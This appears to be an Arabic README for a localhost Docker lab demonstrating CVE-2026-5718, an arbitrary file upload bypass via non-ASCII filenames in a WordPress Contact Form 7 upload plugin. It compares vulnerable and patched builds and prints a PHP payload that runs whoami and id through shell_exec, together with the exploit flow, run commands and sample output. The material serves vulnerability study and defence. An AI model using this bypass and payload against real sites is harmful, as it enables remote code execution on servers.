
Lab Docker المحلي الذي يوضح CVE-2026-5718 رفع ملف عشوائي في إضافة ووردبريس، مع خدمات ضعيفة ومصحوبة للتحليل جنباً إلى جنب للاستغلال والدفاع.
معمل Docker محلي فقط يوضح الفرق بين الإصدار الضعيف والملقّح لـ CVE-2026-5718، والتي تؤثر على إضافة ووردبريس Drag and Drop Multiple File Upload for Contact Form 7.
يوضح هذا المعمل الفرق بين الإصدار الضعيف 1.3.9.6 والإصدار الملقّح 1.3.9.7 باستخدام إثبات تنفيذ PHP بأقل ضرر داخل بيئة Docker فقط.
النطاق: localhost / شبكة Docker فقط. لا تستخدم هذا الإثبات ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
CVE-2026-5718 هو ثغرة رفع ملفات تعسفية في إضافة Drag and Drop Multiple File Upload for Contact Form 7 حتى الإصدار 1.3.9.6 وما قبله.
يتم تفعيل المشكلة عند تكوين أنواع القائمة السوداء المخصصة واحتواء اسم الملف على أحرف غير ASCII. في الإصدار الضعيف، يمكن لملف .php خطير تجاوز الحماية المقصودة والبقاء قابلاً للتنفيذ. الإصدار 1.3.9.7 يصلح المشكلة برفض نفس الرفع.
يحتوي هذا المستودع على خدمتي ووردبريس محليتين:
vuln على http://localhost:8081 مع إصدار الإضافة 1.3.9.6patched على http://localhost:8082 مع إصدار الإضافة 1.3.9.7Host
├── http://localhost:8081 -> خدمة ووردبريس الضعيفة
└── http://localhost:8082 -> خدمة ووردبريس الملقّحة
شبكة Docker
├── vuln
├── vuln-db
├── patched
└── patched-db
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
يحتوي نموذج Contact Form 7 المُعدّ على حقل رفع ملفات Drag and Drop Multiple File Upload:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
]
يقوم الإثبات برفع ملف PHP إثباتي باسم:
```text
proof-β.php
الحرف β هو غير ASCII. هذا مهم لأن الثغرة تعتمد على معالجة اسم الملف للمدخلات غير ASCII.
التدفق عالي المستوى:
الإثبات
↓
جلب صفحة المعمل واستخراج nonce AJAX الخاص بـ DnD CF7
↓
رفع proof-β.php عبر wp-admin/admin-ajax.php
↓
الإصدار الضعيف 1.3.9.6 يقبل ويخزن الملف كـ .php
↓
الإثبات يطلب الملف المرفوع
↓
المعمل الضعيف ينفذ إثبات PHP كمستخدم www-data
التدفق الملقّح:
الإثبات
↓
رفع نفس الملف proof-β.php
↓
الإصدار الملقّح 1.3.9.7 يرفض الرفع
↓
لا يتم تخزين ملف PHP ولا يحدث تنفيذ كود
الكود الإثباتي PHP المرفوع هو بسيط عن قصد:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
يقوم الإثبات بتشغيل whoami و id فقط لإظهار سياق التنفيذ. لا يستخدم شيل عكسي، أو استمرارية، أو الوصول إلى بيانات الاعتماد، أو الحركة الجانبية، أو فحص الشبكة، أو إجراءات تدميرية.
الخدمة الضعيفة تسمح عمداً بتنفيذ PHP في دليل رفع الإضافة لجعل التأثير ملاحظاً في هذا المعمل المحلي. الخدمة الملقّحة تحافظ على السلوك الأكثر أماناً وترفض الرفع في طبقة التحقق من التطبيق.
تثبيت تبعيات Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
البدء من حالة نظيفة:
docker compose down -v
docker compose up --build -d
التحقق من حالة الخدمة:
docker compose ps
فتح صفحات المعمل:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
تشغيل ضد الخدمة الضعيفة:
python poc/poc.py --base-url http://localhost:8081
تشغيل ضد الخدمة الملقّحة:
python poc/poc.py --base-url http://localhost:8082
الإثبات يقبل فقط أهداف localhost أو loopback.
السلوك المتوقع:
.php.مثال للإخراج:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
السلوك المتوقع:
مثال للإخراج:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
هذا المعمل مقصور عمداً على الاختبار المحلي.
الإثبات:
whoami و id داخل الحاوية الضعيفة.الخدمة الضعيفة تخفف من تنفيذ PHP في دليل الرفع فقط لجعل الإثبات المحلي ملاحظاً. لا تنسخ هذا التكوين إلى الإنتاج.
إيقاف الحاويات:
docker compose down
إزالة الحاويات والوحدات التخزينية:
docker compose down -v
إزالة البيئة الافتراضية Python:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
إشعار Patchstack: إضافة WordPress Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - رفع ملفات تعسفي غير مصادق عليه عبر تجاوز القائمة السوداء لأسماء الملفات غير ASCII https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - رفع ملفات تعسفي غير مصادق عليه عبر تجاوز القائمة السوداء لأسماء الملفات غير ASCII https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
قاعدة بيانات إشعارات GitHub: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
صفحة الإضافة على WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
صفحة البائع: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
هذا المستودع مخصص لأغراض البحث التعليمي والأمني الدفاعي فقط. صُمم ليعمل فقط على localhost باستخدام Docker. لا تستخدم الإثبات ضد الأنظمة العامة أو التابعة لجهات خارجية.
| الخدمة | الغرض | منفذ المضيف | الإصدار |
|---|
vuln | معمل ووردبريس ضعيف | 8081 | الإضافة 1.3.9.6 |
patched | معمل ووردبريس ملقّح | 8082 | الإضافة 1.3.9.7 |
vuln-db | قاعدة بيانات MySQL للخدمة الضعيفة | داخلي | MySQL 8.0 |
patched-db | قاعدة بيانات MySQL للخدمة الملقّحة | داخلي | MySQL 8.0 |